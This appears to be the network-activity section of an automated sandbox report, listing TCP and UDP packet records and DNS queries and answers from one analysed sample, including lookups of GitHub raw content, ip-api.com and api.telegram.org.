Jun 20, 2024 19:07:22.367088079 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.367130995 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.367136955 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.367161036 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.367245913 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.367702961 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.367727995 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.367762089 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.367769003 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.367796898 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.367810965 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.377841949 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.377868891 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.377907991 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.377938032 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.377959967 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.377994061 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.379642963 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.379662037 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.379702091 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.379710913 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.379733086 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.379755020 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.526953936 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.526997089 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.527035952 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.527066946 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.527096987 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.527121067 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.535093069 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.535115957 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.535159111 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.535168886 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.535195112 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.535214901 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.550034046 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.550056934 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.550115108 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.550123930 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.550168991 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.550184965 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.551843882 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.551865101 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.551907063 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.551914930 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.551943064 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.551963091 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.552586079 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.552606106 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.552670002 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.552680016 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.552730083 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.553060055 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.553080082 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.553133965 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.553142071 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.553185940 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.565011978 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.565032959 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.565119982 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.565129995 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.565184116 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.566945076 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.566968918 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.567008018 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.567015886 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.567040920 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.567059040 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.614051104 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.614078999 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.614156008 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.614165068 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.614217043 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.615175009 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.615253925 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.615261078 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.615276098 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:22.615324974 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:22.615751982 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:33.506283998 CEST	49719	80	192.168.2.5	208.95.112.1
Jun 20, 2024 19:07:33.511313915 CEST	80	49719	208.95.112.1	192.168.2.5
Jun 20, 2024 19:07:33.511401892 CEST	49719	80	192.168.2.5	208.95.112.1
Jun 20, 2024 19:07:33.511528015 CEST	49719	80	192.168.2.5	208.95.112.1
Jun 20, 2024 19:07:33.516410112 CEST	80	49719	208.95.112.1	192.168.2.5
Jun 20, 2024 19:07:34.073259115 CEST	80	49719	208.95.112.1	192.168.2.5
Jun 20, 2024 19:07:34.132113934 CEST	49719	80	192.168.2.5	208.95.112.1
Jun 20, 2024 19:07:34.418919086 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:34.419023991 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:34.427443981 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:34.511441946 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:34.511492968 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.146239996 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.156454086 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.156491995 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.158113956 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.158133030 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.158281088 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.159629107 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.159898043 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.159924984 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.160024881 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.160059929 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.160315037 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.160362959 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.160510063 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.160763025 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.161427975 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.161465883 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.161578894 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.161628962 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.161668062 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.161684990 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.161710978 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.161736965 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.161782026 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.161823034 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.162714958 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.162736893 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.162770033 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.162785053 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.162808895 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.162826061 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.162863970 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.162929058 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.162969112 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.162991047 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.163022995 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.163053036 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.163094044 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.163127899 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.163152933 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.163175106 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.163176060 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.178231001 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.178421974 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.178502083 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.178540945 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.178555012 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.178601027 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.178601027 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.178632021 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.178633928 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.178662062 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.178766012 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.989018917 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.989046097 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.989098072 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.989141941 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.989159107 CEST	443	49720	149.154.167.220	192.168.2.5
Jun 20, 2024 19:07:35.989203930 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.989850998 CEST	49720	443	192.168.2.5	149.154.167.220
Jun 20, 2024 19:07:35.990362883 CEST	49719	80	192.168.2.5	208.95.112.1
Jun 20, 2024 19:07:35.996057034 CEST	80	49719	208.95.112.1	192.168.2.5
Jun 20, 2024 19:07:35.996118069 CEST	49719	80	192.168.2.5	208.95.112.1
Jun 20, 2024 19:07:37.495845079 CEST	49721	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:37.495934010 CEST	443	49721	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:37.496073008 CEST	49721	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:37.496357918 CEST	49721	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:37.496388912 CEST	443	49721	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:37.974750996 CEST	443	49721	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:38.015511990 CEST	49721	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:38.035428047 CEST	49721	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:38.035451889 CEST	443	49721	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:38.135353088 CEST	443	49721	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:38.135466099 CEST	443	49721	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:38.136048079 CEST	49721	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:38.136568069 CEST	49721	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.215924978 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.216020107 CEST	443	49722	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:39.216125965 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.227447033 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.227503061 CEST	443	49722	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:39.696204901 CEST	443	49722	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:39.696304083 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.698276997 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.698304892 CEST	443	49722	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:39.699079037 CEST	443	49722	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:39.749891996 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.929286003 CEST	49725	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.929344893 CEST	443	49725	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:39.929462910 CEST	49725	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.931104898 CEST	49725	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.931119919 CEST	443	49725	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:39.941389084 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:39.984544039 CEST	443	49722	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:40.044153929 CEST	443	49722	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:40.044384003 CEST	443	49722	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:40.044866085 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:40.047879934 CEST	49722	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:40.405525923 CEST	443	49725	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:40.405623913 CEST	49725	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:40.427331924 CEST	49725	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:40.427351952 CEST	443	49725	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:40.427707911 CEST	443	49725	185.199.108.133	192.168.2.5
Jun 20, 2024 19:07:40.427771091 CEST	49725	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:40.437712908 CEST	49725	443	192.168.2.5	185.199.108.133
Jun 20, 2024 19:07:40.437728882 CEST	443	49725	185.199.108.133	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 20, 2024 19:07:10.577550888 CEST	57317	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:10.584813118 CEST	53	57317	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:11.959232092 CEST	58550	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:11.966223001 CEST	53	58550	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:33.495862007 CEST	58385	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:33.505532980 CEST	53	58385	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:34.379620075 CEST	50495	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:34.391239882 CEST	53	50495	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:37.486821890 CEST	65143	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:37.495122910 CEST	53	65143	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:40.899554968 CEST	53	60805	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:40.899791002 CEST	53	55117	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:40.901309013 CEST	62357	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:40.901524067 CEST	62098	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:40.901850939 CEST	51699	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:40.902004004 CEST	62358	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:40.910187960 CEST	53	62098	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:40.910346031 CEST	53	62357	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:40.911062956 CEST	53	51699	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:40.911798000 CEST	53	62358	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:40.922012091 CEST	51508	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:40.922225952 CEST	49360	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:40.932427883 CEST	53	49360	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:42.665414095 CEST	50043	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:42.665575027 CEST	59698	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:42.673470020 CEST	53	50043	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:42.674164057 CEST	53	59698	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:45.810614109 CEST	50344	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:45.810704947 CEST	50773	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:45.810883999 CEST	65095	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:45.811023951 CEST	55861	53	192.168.2.5	1.1.1.1
Jun 20, 2024 19:07:45.820012093 CEST	53	50773	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:45.820051908 CEST	53	55861	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:45.820296049 CEST	53	65095	1.1.1.1	192.168.2.5
Jun 20, 2024 19:07:45.822129965 CEST	53	50344	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 20, 2024 19:07:10.577550888 CEST	192.168.2.5	1.1.1.1	0xb109	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:11.959232092 CEST	192.168.2.5	1.1.1.1	0xdc4d	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:33.495862007 CEST	192.168.2.5	1.1.1.1	0x85ad	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:34.379620075 CEST	192.168.2.5	1.1.1.1	0x11cf	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:37.486821890 CEST	192.168.2.5	1.1.1.1	0x2700	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.901309013 CEST	192.168.2.5	1.1.1.1	0x3244	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.901524067 CEST	192.168.2.5	1.1.1.1	0x2646	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Jun 20, 2024 19:07:40.901850939 CEST	192.168.2.5	1.1.1.1	0x4738	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.902004004 CEST	192.168.2.5	1.1.1.1	0xe0f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jun 20, 2024 19:07:40.922012091 CEST	192.168.2.5	1.1.1.1	0x6d63	Standard query (0)	kit-pro.fontawesome.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.922225952 CEST	192.168.2.5	1.1.1.1	0x3643	Standard query (0)	kit-pro.fontawesome.com	65	IN (0x0001)	false
Jun 20, 2024 19:07:42.665414095 CEST	192.168.2.5	1.1.1.1	0x56b	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:42.665575027 CEST	192.168.2.5	1.1.1.1	0x5aea	Standard query (0)	raw.githubusercontent.com	65	IN (0x0001)	false
Jun 20, 2024 19:07:45.810614109 CEST	192.168.2.5	1.1.1.1	0xe162	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:45.810704947 CEST	192.168.2.5	1.1.1.1	0xfbab	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jun 20, 2024 19:07:45.810883999 CEST	192.168.2.5	1.1.1.1	0x9c40	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:45.811023951 CEST	192.168.2.5	1.1.1.1	0xd943	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 20, 2024 19:07:10.584813118 CEST	1.1.1.1	192.168.2.5	0xb109	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:11.966223001 CEST	1.1.1.1	192.168.2.5	0xdc4d	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:11.966223001 CEST	1.1.1.1	192.168.2.5	0xdc4d	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:11.966223001 CEST	1.1.1.1	192.168.2.5	0xdc4d	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:11.966223001 CEST	1.1.1.1	192.168.2.5	0xdc4d	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:33.505532980 CEST	1.1.1.1	192.168.2.5	0x85ad	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:34.391239882 CEST	1.1.1.1	192.168.2.5	0x11cf	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:37.495122910 CEST	1.1.1.1	192.168.2.5	0x2700	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:37.495122910 CEST	1.1.1.1	192.168.2.5	0x2700	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:37.495122910 CEST	1.1.1.1	192.168.2.5	0x2700	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:37.495122910 CEST	1.1.1.1	192.168.2.5	0x2700	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.910187960 CEST	1.1.1.1	192.168.2.5	0x2646	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 19:07:40.910346031 CEST	1.1.1.1	192.168.2.5	0x3244	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 19:07:40.910346031 CEST	1.1.1.1	192.168.2.5	0x3244	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.910346031 CEST	1.1.1.1	192.168.2.5	0x3244	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.910346031 CEST	1.1.1.1	192.168.2.5	0x3244	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.910346031 CEST	1.1.1.1	192.168.2.5	0x3244	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.911062956 CEST	1.1.1.1	192.168.2.5	0x4738	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.911062956 CEST	1.1.1.1	192.168.2.5	0x4738	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:40.911798000 CEST	1.1.1.1	192.168.2.5	0xe0f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jun 20, 2024 19:07:40.932427883 CEST	1.1.1.1	192.168.2.5	0x3643	No error (0)	kit-pro.fontawesome.com	kit-pro.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 19:07:40.932602882 CEST	1.1.1.1	192.168.2.5	0x6d63	No error (0)	kit-pro.fontawesome.com	kit-pro.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 19:07:42.673470020 CEST	1.1.1.1	192.168.2.5	0x56b	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:42.673470020 CEST	1.1.1.1	192.168.2.5	0x56b	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:42.673470020 CEST	1.1.1.1	192.168.2.5	0x56b	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:42.673470020 CEST	1.1.1.1	192.168.2.5	0x56b	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:45.820012093 CEST	1.1.1.1	192.168.2.5	0xfbab	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jun 20, 2024 19:07:45.820051908 CEST	1.1.1.1	192.168.2.5	0xd943	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jun 20, 2024 19:07:45.820296049 CEST	1.1.1.1	192.168.2.5	0x9c40	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:45.820296049 CEST	1.1.1.1	192.168.2.5	0x9c40	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:45.822129965 CEST	1.1.1.1	192.168.2.5	0xe162	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:07:45.822129965 CEST	1.1.1.1	192.168.2.5	0xe162	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jun 20, 2024 19:08:41.801457882 CEST	1.1.1.1	192.168.2.5	0x3a63	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
